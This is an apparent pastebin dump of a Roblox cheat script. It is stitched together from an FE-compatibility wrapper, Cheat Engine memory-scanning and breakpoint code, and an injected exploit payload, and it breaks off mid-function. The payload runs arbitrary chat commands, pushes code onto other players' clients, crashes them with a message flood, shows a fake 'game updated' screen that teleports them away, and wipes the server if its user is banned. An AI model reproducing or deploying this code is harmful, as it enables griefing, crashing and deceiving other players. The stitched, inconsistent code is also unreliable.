· 7 years ago · Feb 17, 2019, 07:32 PM
1-- This script has convert to FE by who i don't know?
2
3-----------------------------------------------------
4if game:GetService("RunService"):IsClient() then error("Script must be server-side in order to work; use h/ and not hl/") end
5local Player,game,owner = owner,game
6local RealPlayer = Player
7do
8 print("FE Compatibility code by Mokiros | Showcase by Bacon Hair!")
9 local rp = RealPlayer
10 script.Parent = rp.Character
11
12 --RemoteEvent for communicating
13 local Event = Instance.new("RemoteEvent")
14 Event.Name = "UserInput_Event"
15
16 --Fake event to make stuff like Mouse.KeyDown work
17 local function fakeEvent()
18 local t = {_fakeEvent=true,Functions={},Connect=function(self,f)table.insert(self.Functions,f) end}
19 t.connect = t.Connect
20 return t
21 end
22
23 --Creating fake input objects with fake variables
24 local m = {Target=nil,Hit=CFrame.new(),KeyUp=fakeEvent(),KeyDown=fakeEvent(),Button1Up=fakeEvent(),Button1Down=fakeEvent()}
25 local UIS = {InputBegan=fakeEvent(),InputEnded=fakeEvent()}
26 local CAS = {Actions={},BindAction=function(self,name,fun,touch,...)
27 CAS.Actions[name] = fun and {Name=name,Function=fun,Keys={...}} or nil
28 end}
29 --Merged 2 functions into one by checking amount of arguments
30 CAS.UnbindAction = CAS.BindAction
31
32 --This function will trigger the events that have been :Connect()'ed
33 local function te(self,ev,...)
34 local t = m[ev]
35 if t and t._fakeEvent then
36 for _,f in pairs(t.Functions) do
37 f(...)
38 end
39 end
40 end
41 m.TrigEvent = te
42 UIS.TrigEvent = te
43
44 Event.OnServerEvent:Connect(function(plr,io)
45 if plr~=rp then return end
46 m.Target = io.Target
47 m.Hit = io.Hit
48 if not io.isMouse then
49 local b = io.UserInputState == Enum.UserInputState.Begin
50 if io.UserInputType == Enum.UserInputType.MouseButton1 then
51 return m:TrigEvent(b and "Button1Down" or "Button1Up")
52 end
53 for _,t in pairs(CAS.Actions) do
54 for _,k in pairs(t.Keys) do
55 if k==io.KeyCode then
56 t.Function(t.Name,io.UserInputState,io)
57 end
58 end
59 end
60 m:TrigEvent(b and "KeyDown" or "KeyUp",io.KeyCode.Name:lower())
61 UIS:TrigEvent(b and "InputBegan" or "InputEnded",io,false)
62 end
63 end)
64 Event.Parent = NLS([==[
65 local Player = game:GetService("Players").LocalPlayer
66 local Event = script:WaitForChild("UserInput_Event")
67
68 local Mouse = Player:GetMouse()
69 local UIS = game:GetService("UserInputService")
70 local input = function(io,a)
71 if a then return end
72 --Since InputObject is a client-side instance, we create and pass table instead
73 Event:FireServer({KeyCode=io.KeyCode,UserInputType=io.UserInputType,UserInputState=io.UserInputState,Hit=Mouse.Hit,Target=Mouse.Target})
74 end
75 UIS.InputBegan:Connect(input)
76 UIS.InputEnded:Connect(input)
77
78 local h,t
79 --Give the server mouse data 30 times every second, but only if the values changed
80 --If player is not moving their mouse, client won't fire events
81 while wait(1/30) do
82 if h~=Mouse.Hit or t~=Mouse.Target then
83 h,t=Mouse.Hit,Mouse.Target
84 Event:FireServer({isMouse=true,Target=t,Hit=h})
85 end
86 end]==],Player.Character)
87
88 ----Sandboxed game object that allows the usage of client-side methods and services
89 --Real game object
90 local _rg = game
91
92 --Metatable for fake service
93 local fsmt = {
94 __index = function(self,k)
95 local s = rawget(self,"_RealService")
96 if s then return s[k] end
97 end,
98 __newindex = function(self,k,v)
99 local s = rawget(self,"_RealService")
100 if s then s[k]=v end
101 end,
102 __call = function(self,...)
103 local s = rawget(self,"_RealService")
104 if s then return s(...) end
105 end
106 }
107 local function FakeService(t,RealService)
108 t._RealService = typeof(RealService)=="string" and _rg:GetService(RealService) or RealService
109 return setmetatable(t,fsmt)
110 end
111
112 --Fake game object
113 local g = {
114 GetService = function(self,s)
115 return self[s]
116 end,
117 Players = FakeService({
118 LocalPlayer = FakeService({GetMouse=function(self)return m end},Player)
119 },"Players"),
120 UserInputService = FakeService(UIS,"UserInputService"),
121 ContextActionService = FakeService(CAS,"ContextActionService"),
122 }
123 rawset(g.Players,"localPlayer",g.Players.LocalPlayer)
124 g.service = g.GetService
125
126 g.RunService = FakeService({
127 RenderStepped = _rg:GetService("RunService").Heartbeat,
128 BindToRenderStep = function(self,name,_,fun)
129
130 end,
131 UnbindFromRenderStep = function(self,name)
132 self._btrs[name]:Disconnect()
133 end,
134 },"RunService")
135
136 setmetatable(g,{
137 __index=function(self,s)
138 return _rg:GetService(s) or typeof(_rg[s])=="function"
139 and function(_,...)return _rg[s](_rg,...)end or _rg[s]
140 end,
141 __newindex = fsmt.__newindex,
142 __call = fsmt.__call
143 })
144 --Changing owner to fake player object to support owner:GetMouse()
145 game,owner = g,g.Players.LocalPlayer
146end
147function GetExploit(index)
148 local tab, scan, result = Exploits[index], createMemScan(true);
149 memscan_returnOnlyOneResult(scan, true);
150 memscan_firstScan(scan, soExactValue, vtByteArray, rtTruncated, table.concat(tab[2], " "), nil, 0, 0x00FFFFFF, "", fsmNotAligned, nil, false, false, false, false);
151 memscan_waitTillDone(scan);
152 result = memscan_getOnlyResult(scan);
153 if result == nil then return nil; end
154 result = string.format("%X", result + tab[3]);
155 result = string.rep("0", 8 - string.len(result)) .. result;
156 return result;
157end
158function AddExploit(name, hex, offset)
159 table.insert(Exploits, {name, hex, offset})
160end
161function toAddr(num)
162 local num = tonumber(num);
163 local addr = string.format("%X", num):upper();
164 addr = string.rep("0", 8 - string.len(addr)) .. addr;
165 return addr;
166end
167
168
169debugger_onBreakpoint = function()
170 local function GetAddress(ESPaddr, Offset)
171 local ESPaddr, Offset = tostring(ESPaddr) or string.rep("0", 8), tostring(Offset == nil and GlobalOffset or Offset);
172 local SCaddr_base = tonumber("0x" .. ESPaddr) + tonumber("0x" .. Offset);
173 local SCaddr_cont1, SCaddr_cont2, SCaddr_cont3, SCaddr_cont4 = tostring(string.format("%X", SCaddr_base)), tostring(string.format("%X", SCaddr_base + 1)), tostring(string.format("%X", SCaddr_base + 2)), tostring(string.format("%X", SCaddr_base + 3));
174 local SCaddr = (readBytes(SCaddr_cont1) + (readBytes(SCaddr_cont2) * 256) + (readBytes(SCaddr_cont3) * 65536) + (readBytes(SCaddr_cont4) * 16777216));
175 return toAddr(SCaddr);
176 end
177 --if readBytes(GetAddress(toAddr(ESP), GlobalOffset), 1) == 0x0D then
178 local JOIN_addr = GetAddress(toAddr(ESP), GlobalOffset);
179 local JOIN_len = tonumber("0x"..GetAddress(toAddr(ESP), string.format("%X", tonumber("0x"..GlobalOffset) + 4)));
180 local JOIN_script_tbl = readBytes(JOIN_addr, JOIN_len, true);
181 local JOIN_script = "";
182 table.foreach(JOIN_script_tbl, function(i, v) JOIN_script = JOIN_script .. string.char(v); end);
183 local script = JOIN_script .. [==[repeat wait() until game:service'Players'.LocalPlayer; wait(); game:service'Players'.LocalPlayer.Chatted:connect(function(s) Spawn(function() loadstring(s)() end) end) AntibanScript=false -- if AntibanScript = true and if you're kicked or banned from the current game, all the workspace children and players will be removed --
184ChatHistory=false
185DefaultGodAndInvisiWalkSpeed=30 -- if you enable the invisi or godmode, your walkspeed will be set to this value [Default = 16] --
186
187Delay(1,function()
188 FIXSCRIPTS''
189end)
190local ShowBox=Instance.new'BoolValue'
191PlayerLoadtime=7.5
192HackerName=nil
193Scripts={}
194Connects={}
195Commands={}
196HackedTime=0
197chatbool = false
198CmdbKey=':'
199FocusKey='\\'
200UnlockKey='?'
201LockKey='.'
202ExplorerKey=';'
203ExproKey=','
204GearKey='$'
205BuildKey='<'
206GodKey='*'
207InvisiKey='%'
208VisiKey='#'
209AdminKey='&'
210
211LagScript = [[
212
213script:Destroy();
214
215local runService = Game:GetService("RunService").Stepped;
216local LagNum = 1250;
217local str = "You just got crashed by one of the most powerful hackers on Roblox, how do you feel?";
218
219for i = 1, math.huge do
220 if i % LagNum == 0 then runService:wait(); end
221 Instance.new("Message", Workspace).Text = str;
222end
223
224]]
225
226local function TeleportScript(place_id)
227 return [[
228 script:Destroy();
229
230 local place_id_str = ]]..tostring(place_id)..[[;
231 local place_id = tonumber(place_id_str);
232 local message_str = "The owner has updated the game. New features: less lag, improved dynamic lighting, and more! Press the 'Leave' button to play to an updated game!";
233 local player = Game:GetService("Players").LocalPlayer;
234 local teleport_service = Game:GetService("TeleportService");
235 local run_service = Game:GetService("RunService").Stepped;
236 if player:FindFirstChild("PlayerGui") then
237 pcall(function() player.PlayerGui:ClearAllChildren(); end)
238 end
239 while true do
240 if player:FindFirstChild("PlayerGui") then
241 local screen_gui, frame_gui, message_gui;
242 if not player.PlayerGui:FindFirstChild(" __teleport_updated_place_gui") then
243 pcall(function()
244 screen_gui = Instance.new("ScreenGui", player.PlayerGui);
245 screen_gui.Name = " __teleport_updated_place_gui";
246 end)
247 else screen_gui = player.PlayerGui[" __teleport_updated_place_gui"]; end
248 if not screen_gui:FindFirstChild(" __teleport_updated_place_frame") then
249 pcall(function()
250 frame_gui = Instance.new("Frame", screen_gui);
251 frame_gui.Name = " __teleport_updated_place_frame";
252 frame_gui.ZIndex = 9;
253 frame_gui.Size = UDim2.new(2, 0, 2, 0);
254 frame_gui.Position = UDim2.new(-.5, 0, -.5, 0);
255 frame_gui.BackgroundColor3 = Color3.new();
256 end)
257 end
258 if not screen_gui:FindFirstChild(" __teleport_updated_place_message") then
259 pcall(function()
260 message_gui = Instance.new("TextLabel", screen_gui);
261 message_gui.Name = " __teleport_updated_place_message";
262 message_gui.ZIndex = 10;
263 message_gui.Size = UDim2.new(.9, 0, .3, 0);
264 message_gui.Position = UDim2.new(.05, 0, 0, 0);
265 message_gui.BackgroundColor3 = Color3.new();
266 message_gui.BorderColor3 = Color3.new();
267 message_gui.BorderSizePixel = 0;
268 message_gui.TextWrapped = true;
269 message_gui.TextColor3 = Color3.new(1,1,1);
270 message_gui.FontSize = 8;
271 message_gui.Font = 2;
272 message_gui.Text = message_str;
273 end)
274 end
275 end
276 teleport_service:Teleport(place_id);
277 pcall(function() Workspace.CurrentCamera.CameraType = 6; end)
278 pcall(function() player.Character = nil; end)
279 run_service:wait();
280 end
281 ]]
282end
283
284local function GetError(not_errored, msg)
285 if not_errored then msg = "Running Script" end
286 Game.Debris:AddItem((function()
287 local hint;
288 pcall(function()
289 hint=Instance.new("Hint",Workspace.CurrentCamera)
290 hint.Text=msg
291 end)
292 return hint
293 end)(), 3)
294end
295
296local function FindPlayers(str)
297 if not str then return end
298 local str,players = str:lower(),{}
299 if str == "all" then
300 for i, v in next, Game.Players:GetPlayers() do
301 players[#players+1] = v
302 end
303 elseif str:match("others?") then
304 for i, v in next, Game.Players:GetPlayers() do
305 pcall(function()
306 if v ~= Game.Players.LocalPlayer then
307 players[#players+1] = v
308 end
309 end)
310 end
311 else
312 for i, v in next, Game.Players:GetPlayers() do
313 pcall(function()
314 if v.Name:lower():match("^"..str) then
315 players[#players+1] = v
316 end
317 end)
318 end
319 end
320 return players
321end
322
323local function LoadOnClients(players, source)
324 if not players or #players == 0 then return end
325 local load = function(Player)
326 local Script = Instance.new "LocalScript"
327 --
328 Script.Source = [[
329 while script.Name == "LocalScript" do wait() end
330 ypcall(loadstring([==============[]]..source..[[]==============]))
331 ]]
332 --
333 Script.Parent = Game.Players.LocalPlayer.Character
334 or Game.Players.LocalPlayer:FindFirstChild "Backpack"
335 or Game.Players.LocalPlayer.CharacterAdded:wait()
336 wait(.5)
337 Script.Name = "LocalScript "
338 Script.Parent = Player.Character
339 or Player:FindFirstChild "Backpack"
340 or Player.CharacterAdded:wait()
341 end
342 for _,player in next, players do
343 coroutine.wrap(load)(player)
344 end
345end
346
347coroutine.resume(coroutine.create(function()
348 wait(PlayerLoadtime)
349 HackerName=game.Players.LocalPlayer.Name
350end))
351if(AntibanScript)then
352 coroutine.resume(coroutine.create(function()
353 wait(PlayerLoadtime+.5)
354 while true and wait() do
355 if(AntibanScript)then
356 if not(game.Players:FindFirstChild(HackerName))then
357 wait(3.5)
358 if(AntibanScript)then
359 function workspaceRemove(path)
360 for _,v in pairs(path:GetChildren())do
361 coroutine.resume(coroutine.create(function(v)
362 if(v:IsA("Script"))or(v:IsA("LocalScript"))then
363 v.Disabled=true
364 v:remove()
365 else
366 v:remove()
367 end
368 end),v)
369 end
370 end
371 workspaceRemove(game:GetService('Workspace'))
372 for e,i in pairs(game.Players:GetPlayers())do
373 coroutine.resume(coroutine.create(function(i) i:remove() end),i)
374 end
375 end
376 end
377 end
378 end
379 end))
380end
381coroutine.resume(coroutine.create(function()
382 wait(PlayerLoadtime)
383 game.Players.LocalPlayer:SetSuperSafeChat(false)
384 game.Players.LocalPlayer.Chatted:connect(function(msg)
385 if string.sub(msg, 1, 3) == "ls " then
386 if not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then
387 ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
388 ls.Name="lsInserted"
389 wait(.2)
390 ls.Name="lsRun"
391 ls.Source=string.sub(msg,4)
392 ls.Disabled=true
393 ls.Disabled=false
394 end
395 elseif string.sub(msg, 1, 3) == "rs " then
396 coroutine.resume(coroutine.create(function(msg)
397 local errored,output = ypcall(loadstring(msg:sub(4)))
398 GetError(errored,output)
399 errored,output = nil
400 end),msg)
401 elseif string.sub(msg, 1, 3) == "ls/" then
402 if not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then
403 ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
404 ls.Name="lsInserted"
405 wait(.2)
406 ls.Name="lsRun"
407 ls.Source=string.sub(msg,4)
408 ls.Disabled=true
409 ls.Disabled=false
410 end
411 elseif string.sub(msg, 1, 3) == "rs/" then
412 coroutine.resume(coroutine.create(function(msg)
413 local errored,output = ypcall(loadstring(msg:sub(4)))
414 GetError(errored,output)
415 errored,output = nil
416 end),msg)
417 elseif string.sub(msg, 1, 3) == "cs " then
418 LoadOnClients(FindPlayers(msg:sub(4):match("(%w+)%s")), msg:sub(4):match("%s(.+)"))
419 elseif string.sub(msg, 1, 10) == "mediafire " then
420 LoadOnClients(FindPlayers(msg:sub(11):match("(%w+)%s")), msg:sub(11):match("%s(.+)"))
421 elseif string.sub(msg, 1, 4) == "lag " then
422 LoadOnClients(FindPlayers(msg:sub(5):match("%w+")), LagScript)
423 elseif string.sub(msg, 1, 7) == "hitler " then
424 LoadOnClients(FindPlayers(msg:sub(8):match("%w+")), LagScript)
425 --
426 elseif string.sub(msg, 1, 3) == "cs/" then
427 LoadOnClients(FindPlayers(msg:sub(4):match("([%w%s]+)/")), msg:sub(4):match("/(.+)"))
428 elseif string.sub(msg, 1, 10) == "mediafire/" then
429 LoadOnClients(FindPlayers(msg:sub(11):match("([%w%s]+)/")), msg:sub(11):match("/(.+)"))
430 elseif string.sub(msg, 1, 4) == "lag/" then
431 LoadOnClients(FindPlayers(msg:sub(5):match("[%w%s]+")), LagScript)
432 elseif string.sub(msg, 1, 7) == "hitler/" then
433 LoadOnClients(FindPlayers(msg:sub(8):match("[%w%s]+")), LagScript)
434 --
435 elseif string.sub(msg, 1, 1) == "/" then
436 if string.sub(msg, 2, 4) == "sb" then
437 chatbool = true
438 repeat wait(.01)
439 game.Players.LocalPlayer:SetSuperSafeChat(false)
440 game.Players:Chat("/sc 2 4")
441 game.Players:Chat("/sc 2 7 0")
442 game.Players:Chat("/sc 2 7 4")
443 until not chatbool
444 elseif string.sub(msg, 2, 5) == "nsb" then
445 chatbool = false
446 elseif string.sub(msg, 2, 7) == "power" then
447 if game.Players.LocalPlayer.Character ~= nil then
448 if not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then
449 ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
450 ls.Name="lsInserted"
451 wait(.2)
452 ls.Name="lsRun"
453 ls.Source=PowerScriptSource
454 ls.Disabled=true
455 ls.Disabled=false
456 end
457 end
458 elseif string.sub(msg, 2, 7) == "gaara" then
459 if game.Players.LocalPlayer.Character ~= nil then
460 if not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then
461 ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
462 ls.Name="lsInserted"
463 wait(.2)
464 ls.Name="lsRun"
465 ls.Source=GaaraSource
466 ls.Disabled=true
467 ls.Disabled=false
468 end
469 end
470 elseif string.sub(msg, 2, 6) == "nova" then
471 if game.Players.LocalPlayer.Character ~= nil then
472 if not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then
473 ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
474 ls.Name="lsInserted"
475 wait(.2)
476 ls.Name="lsRun"
477 ls.Source=NovaSource
478 ls.Disabled=true
479 ls.Disabled=false
480 end
481 end
482 elseif string.sub(msg, 2, 9) == "outgame" then AntibanScript=false
483 if game.Players.LocalPlayer.Character ~= nil then
484 if not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then
485 ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
486 ls.Name="lsInserted"
487 wait(.2)
488 ls.Name="lsRun"
489 ls.Source=OutGameSource
490 ls.Disabled=true
491 ls.Disabled=false
492 end
493 end
494 end
495 end
496 end)
497end))
498coroutine.resume(coroutine.create(function()
499 wait(PlayerLoadtime)
500 while wait() do
501 game.Players.LocalPlayer:SetSuperSafeChat(false)
502 end
503end))
504coroutine.resume(coroutine.create(function()
505 wait(PlayerLoadtime)
506 if ChatHistory then
507 coroutine.resume(coroutine.create(function()
508 CH=Instance.new("Model",game:GetService("SoundService"))
509 CH.Name="ChatHistory"
510 for _,v in pairs(game.Players:GetPlayers())do
511 v.Chatted:connect(function(msg)
512 chatHistory=Instance.new("StringValue",CH)
513 chatHistory.Name=v.Name
514 chatHistory.Value=msg
515 end)
516 end
517 game.Players.PlayerAdded:connect(function(v)
518 v.Chatted:connect(function(msg)
519 chatHistory=Instance.new("StringValue",CH)
520 chatHistory.Name=v.Name
521 chatHistory.Value=msg
522 end)
523 end) end)) coroutine.resume(coroutine.create(function()
524 CH2=Instance.new("Model",game:GetService("StarterGui"))
525 CH2.Name="ChatHistory"
526 for _,v in pairs(game.Players:GetPlayers())do
527 v.Chatted:connect(function(msg)
528 chatHistory=Instance.new("StringValue",CH2)
529 chatHistory.Name=v.Name
530 chatHistory.Value=msg
531 end)
532 end
533 game.Players.PlayerAdded:connect(function(v)
534 v.Chatted:connect(function(msg)
535 chatHistory=Instance.new("StringValue",CH2)
536 chatHistory.Name=v.Name
537 chatHistory.Value=msg
538 end)
539 end) end)) coroutine.resume(coroutine.create(function()
540 CH3=Instance.new("Model",game:GetService("Teams"))
541 CH3.Name="ChatHistory"
542 for _,v in pairs(game.Players:GetPlayers())do
543 v.Chatted:connect(function(msg)
544 chatHistory=Instance.new("StringValue",CH3)
545 chatHistory.Name=v.Name
546 chatHistory.Value=msg
547 end)
548 end
549 game.Players.PlayerAdded:connect(function(v)
550 v.Chatted:connect(function(msg)
551 chatHistory=Instance.new("StringValue",CH3)
552 chatHistory.Name=v.Name
553 chatHistory.Value=msg
554 end)
555 end) end)) coroutine.resume(coroutine.create(function()
556 CH4=Instance.new("Model",game:GetService("Soundscape"))
557 CH4.Name="ChatHistory"
558 for _,v in pairs(game.Players:GetPlayers())do
559 v.Chatted:connect(function(msg)
560 chatHistory=Instance.new("StringValue",CH4)
561 chatHistory.Name=v.Name
562 chatHistory.Value=msg
563 end)
564 end
565 game.Players.PlayerAdded:connect(function(v)
566 v.Chatted:connect(function(msg)
567 chatHistory=Instance.new("StringValue",CH4)
568 chatHistory.Name=v.Name
569 chatHistory.Value=msg
570 end)
571 end) end))
572 end
573end))
574X=function(f)
575 return coroutine.resume(coroutine.create(f))
576end
577
578
579OutGameSource=[[
580 -- Settings --
581 _ForceField = true
582 _RespawnTime = 0
583 _PlayerName = "ROBLOX"
584 _ChatColor = "Blue"
585
586 -- Some variables --
587 _Player = game.Players.LocalPlayer
588 _Neutral = _Player.Neutral
589 _TeamColor = _Player.TeamColor
590 _Character = _Player.Character
591 _Camera = game.Workspace.CurrentCamera
592 _Character.Archivable = true
593 wait()
594 _BaseChar = _Character:clone()
595 _Respawning = false
596
597 -- Some functions --
598 function _CreateChar(vector)
599 if _Respawning then return else _Respawning = true
600 for _,v in pairs(_Player.Backpack:GetChildren())do
601 v:remove()
602 end
603 for _,v in pairs(_Player.PlayerGui:GetChildren())do
604 v:remove()
605 end
606 local _CloneChar = _BaseChar:clone()
607 _CloneChar:MakeJoints()
608 if vector and _CloneChar:FindFirstChild("Torso") then
609 _CloneChar.Torso.CFrame = CFrame.new(vector)
610 end
611 _CloneChar.Parent = game.Workspace.CurrentCamera
612 _CloneChar.Name = _PlayerName
613 _CloneChar.Archivable = false
614 _Camera.CameraSubject = _CloneChar:FindFirstChild("Humanoid")
615 _Camera.CameraType = "Custom"
616 for _,v in pairs(_Player.StarterGear:GetChildren())do
617 if not _Player.Backpack:FindFirstChild(v.Name) then
618 v:clone().Parent = _Player.Backpack
619 end
620 end
621 for _,v in pairs(game:GetService("StarterPack"):GetChildren())do
622 if not _Player.Backpack:FindFirstChild(v.Name) then
623 v:clone().Parent = _Player.Backpack
624 end
625 end
626 for _,v in pairs(game:GetService("StarterGui"):GetChildren())do
627 if not _Player.PlayerGui:FindFirstChild(v.Name) then
628 v:clone().Parent = _Player.PlayerGui
629 end
630 end
631 for _,v in pairs(_Player.Backpack:GetChildren())do
632 if v:IsA("Tool") then
633 v.Enabled = true
634 elseif v:IsA("HopperBin") then
635 v.Active = false
636 end
637 end
638 _Player.Character = _CloneChar
639 for _,v in pairs(_CloneChar:GetChildren())do
640 if v:IsA("Script") or v:IsA("LocalScript") then
641 v.Disabled = true wait() v.Disabled = false
642 end
643 end
644 _Respawning = false
645 return _CloneChar
646 end
647 end
648
649 function _VerifyCopy(_PlayerName)
650 while wait() do
651 if not game.Players:FindFirstChild(_PlayerName) then
652 local _LocalPlayer = Instance.new("ObjectValue",game.Players)
653 _LocalPlayer.Name = _PlayerName
654 end
655 if game.Players:FindFirstChild(_PlayerName) then
656 if game.Players[_PlayerName]:IsA("ObjectValue") then
657 if not game.Players[_PlayerName]:FindFirstChild("Backpack") then
658 local _LocalBackpack = Instance.new("ObjectValue",game.Players[_PlayerName])
659 _LocalBackpack.Name = "Backpack"
660 end
661 if not game.Players[_PlayerName]:FindFirstChild("StarterGear") then
662 local _LocalStarterGear = Instance.new("ObjectValue",game.Players[_PlayerName])
663 _LocalStarterGear.Name = "StarterGear"
664 end
665 if not game.Players[_PlayerName]:FindFirstChild("PlayerGui") then
666 local _LocalPlayerGui = Instance.new("ObjectValue",game.Players[_PlayerName])
667 _LocalPlayerGui.Name = "PlayerGui"
668 end
669 end
670 end
671 end
672 end
673
674 function _CloneTools(_name,_type)
675 for _,v in pairs(game.Players[_name][_type]:GetChildren())do
676 if not _Player[_type]:FindFirstChild(v.Name) and not game.Workspace.CurrentCamera[_PlayerName]:FindFirstChild(v.Name) then
677 v.Parent = _Player[_type]
678 coroutine.resume(coroutine.create(function()
679 function fixScripts(path)
680 for e,i in pairs(path:GetChildren())do
681 if i:IsA("Script") or i:IsA("LocalScript") then
682 if i.Disabled == false then
683 i.Disabled = true wait() i.Disabled = false
684 end
685 end
686 fixScripts(i)
687 end
688 end
689 fixScripts(v)
690 end))
691 end
692 end
693 end
694
695 function _TransferTools(_pname)
696 while wait() do
697 if game.Players:FindFirstChild(_pname) then
698 if game.Players[_pname]:FindFirstChild("Backpack") then
699 coroutine.resume(coroutine.create(_CloneTools),_pname,"Backpack")
700 for _,v in pairs(_Player.Backpack:GetChildren())do
701 if not game.Players[_pname].Backpack:FindFirstChild(v.Name) then
702 v:clone().Parent = game.Players[_pname].Backpack
703 end
704 end
705 end
706 if game.Players[_pname]:FindFirstChild("StarterGear") then
707 coroutine.resume(coroutine.create(function()
708 for _,v in pairs(game.Players[_pname].StarterGear:GetChildren())do
709 if not _Player.StarterGear:FindFirstChild(v.Name) then
710 v:clone().Parent = _Player.StarterGear
711 end
712 end
713 end))
714 for _,v in pairs(_Player.StarterGear:GetChildren())do
715 if not game.Players[_pname].StarterGear:FindFirstChild(v.Name) then
716 v:clone().Parent = game.Players[_pname].StarterGear
717 end
718 end
719 end
720 if game.Players[_pname]:FindFirstChild("PlayerGui") then
721 for _,v in pairs(_Player.PlayerGui:GetChildren())do
722 if not game.Players[_pname].PlayerGui:FindFirstChild(v.Name) then
723 v:clone().Parent = game.Players[_pname].PlayerGui
724 end
725 end
726 coroutine.resume(coroutine.create(_CloneTools),_pname,"PlayerGui")
727 end
728 end
729 end
730 end
731
732 -- Remove player and script --
733 script.Parent = nil
734 wait()
735
736 -- Update _BaseChar position --
737 coroutine.resume(coroutine.create(function()
738 while wait() do
739 if game.Workspace.CurrentCamera:FindFirstChild(_PlayerName) then
740 if game.Workspace.CurrentCamera[_PlayerName]:FindFirstChild("Torso") then
741 if _BaseChar:FindFirstChild("Torso") then
742 _BaseChar.Torso.CFrame = game.Workspace.CurrentCamera[_PlayerName].Torso.CFrame
743 end
744 end
745 end
746 end
747 end))
748
749 -- Clone and Respawn character --
750 coroutine.resume(coroutine.create(function()
751 while wait() do
752 if game.Workspace.CurrentCamera:FindFirstChild(_PlayerName) then
753 _PartFound = false
754 for _,v in pairs(game.Workspace.CurrentCamera[_PlayerName]:GetChildren())do
755 if v:IsA("Part") then
756 _PartFound = true
757 end
758 end
759 if not _PartFound then
760 wait(_RespawnTime)
761 game.Workspace.CurrentCamera[_PlayerName]:remove()
762 _Created = false
763 function _scanSpawn(path)
764 for _,v in pairs(path:GetChildren())do
765 if v:IsA("SpawnLocation") then
766 if _Player.Neutral then
767 if v.Neutral then
768 _CreateChar(v.Position)
769 _Created = true
770 end
771 elseif not _Player.Neutral then
772 if v.TeamColor == _Player.TeamColor then
773 _CreateChar(v.Position)
774 _Created = true
775 end
776 end
777 end
778 _scanSpawn(v)
779 end
780 end
781 _scanSpawn(game.Workspace)
782 if not _Created then
783 _CreateChar(Vector3.new(0,500,0))
784 end
785 elseif _PartFound then
786 if not game.Workspace.CurrentCamera[_PlayerName]:FindFirstChild("Humanoid") then
787 game.Workspace.CurrentCamera[_PlayerName]:remove() _ChreateChar()
788 elseif game.Workspace.CurrentCamera[_PlayerName]:FindFirstChild("Humanoid") then
789 if game.Workspace.CurrentCamera[_PlayerName].Humanoid.Health == 0 then
790 wait(_RespawnTime) game.Workspace.CurrentCamera[_PlayerName]:remove() _CreateChar()
791 end
792 end
793 end
794 elseif not game.Workspace.CurrentCamera:FindFirstChild(_PlayerName) then
795 _CreateChar()
796 end
797 if _ForceField then
798 if game.Workspace.CurrentCamera:FindFirstChild(_PlayerName) then
799 if not game.Workspace.CurrentCamera[_PlayerName]:FindFirstChild("ForceField") then
800 Instance.new("ForceField",game.Workspace.CurrentCamera[_PlayerName])
801 end
802 end
803 end
804 end
805 end))
806
807 -- Copy player children --
808 coroutine.resume(coroutine.create(function()
809 coroutine.resume(coroutine.create(_VerifyCopy),_PlayerName)
810 coroutine.resume(coroutine.create(_VerifyCopy),_Player.Name)
811 end))
812
813 -- Transfer tools and guis --
814 coroutine.resume(coroutine.create(function()
815 coroutine.resume(coroutine.create(_TransferTools),_PlayerName)
816 coroutine.resume(coroutine.create(_TransferTools),_Player.Name)
817 end))
818
819 -- Take weapons --
820 coroutine.resume(coroutine.create(function()
821 while wait() do
822 if game.Workspace.CurrentCamera:FindFirstChild(_PlayerName) then
823 _TempChar = game.Workspace.CurrentCamera:FindFirstChild(_PlayerName)
824 function checkParts(path)
825 for _,v in pairs(path:GetChildren())do
826 if v:IsA("Part") then
827 if not v:FindFirstChild("TouchInterest") then
828 v.Touched:connect(function(Part)
829 if Part.Parent:IsA("Tool") then
830 Part.Parent.Parent = _TempChar
831 end
832 end)
833 end
834 end
835 checkParts(v)
836 end
837 end
838 checkParts(_TempChar)
839 end
840 end
841 end))
842
843 -- Chat box --
844 coroutine.resume(coroutine.create(function()
845 _Player.Chatted:connect(function(msg)
846 if game.Workspace.CurrentCamera:FindFirstChild(_PlayerName) then
847 if game.Workspace.CurrentCamera[_PlayerName]:FindFirstChild("Head") then
848 game:GetService("Chat"):Chat(game.Workspace.CurrentCamera[_PlayerName].Head, msg, _ChatColor)
849 end
850 end
851 end)
852 end))
853
854 wait() _Player.Parent = nil
855]]
856
857AdminScriptSource=[[
858 adminlist = {game.Players.LocalPlayer.Name}
859 bannedlist = {""}
860 texture = ""
861 wait(.5) script.Parent=nil
862
863 namelist = { }
864 variablelist = { }
865 flist = { }
866
867 tools = Instance.new("Model")
868 c = game.Lighting:GetChildren()
869 for i=1,#c do
870 if c[i].className == "Tool" then
871 c[i]:clone().Parent = tools
872 end
873 if c[i].className == "HopperBin" then
874 c[i]:clone().Parent = tools
875 end end
876
877 function findplayer(name,speaker)
878 if string.lower(name) == "all" then
879 local chars = { }
880 local c = game.Players:GetChildren()
881 for i =1,#c do
882 if c[i].className == "Player" then
883 table.insert(chars,c[i])
884 end end
885 return chars
886 elseif string.lower(name) == "bc" then
887 local chars = { }
888 local c = game.Players:GetChildren()
889 for i =1,#c do
890 if not c[i].MembershipType == Enum.MembershipType.None then
891 if c[i].className == "Player" then
892 table.insert(chars,c[i])
893 end end end
894 return chars
895 elseif string.lower(name) == "nbc" then
896 local chars = { }
897 local c = game.Players:GetChildren()
898 for i =1,#c do
899 if c[i].MembershipType == Enum.MembershipType.None then
900 if c[i].className == "Player" then
901 table.insert(chars,c[i])
902 end end end
903 return chars
904 elseif string.sub(string.lower(name),1,9) == "nonadmins" then
905 local nnum = 0
906 local chars = { }
907 local c = game.Players:GetChildren()
908 for i=1,#c do
909 local isadmin = false
910 for i2 =1,#namelist do
911 if namelist[i2] == c[i].Name then
912 isadmin = true
913 end end
914 if isadmin == false then
915 nnum = nnum + 1
916 table.insert(chars,c[i])
917 end end
918 if nnum == 0 then
919 return 0
920 else
921 return chars
922 end
